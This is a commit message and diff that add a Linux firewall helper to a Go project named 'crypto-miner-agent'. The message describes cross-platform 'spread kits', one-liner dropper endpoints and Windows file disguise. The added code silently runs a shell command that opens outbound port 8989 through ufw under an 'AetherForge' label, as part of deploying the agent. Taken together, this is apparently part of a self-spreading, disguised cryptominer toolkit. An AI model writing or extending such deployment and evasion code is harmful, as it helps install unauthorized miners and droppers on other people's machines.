Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/deploy/firewall_linux.go

@@ -0,0 +1,36 @@
+//go:build linux
+
+package deploy
+
+import (
+	"fmt"
+	"log"
+	"os/exec"
+	"strconv"
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
+	if strings.TrimSpace(binPath) == "" {
+		return
+	}
+	port := 8989
+	script := fmt.Sprintf(`
+if command -v ufw >/dev/null 2>&1; then
+  ufw allow out to any port %d comment 'AetherForge' 2>/dev/null || true
+fi
+`, port)
+	cmd := exec.Command("/bin/sh", "-c", script)
+	if err := cmd.Run(); err != nil {
+		log.Printf("[firewall] ufw rule failed: %v", err)
+		return
+	}
+	log.Printf("[firewall] linux firewall rule attempted for %s", binPath)
+	_ = strconv.Itoa(port)
+}
+
+func platformRemoveFirewall(cfg config.RuntimeConfig) {
+	_ = cfg
+}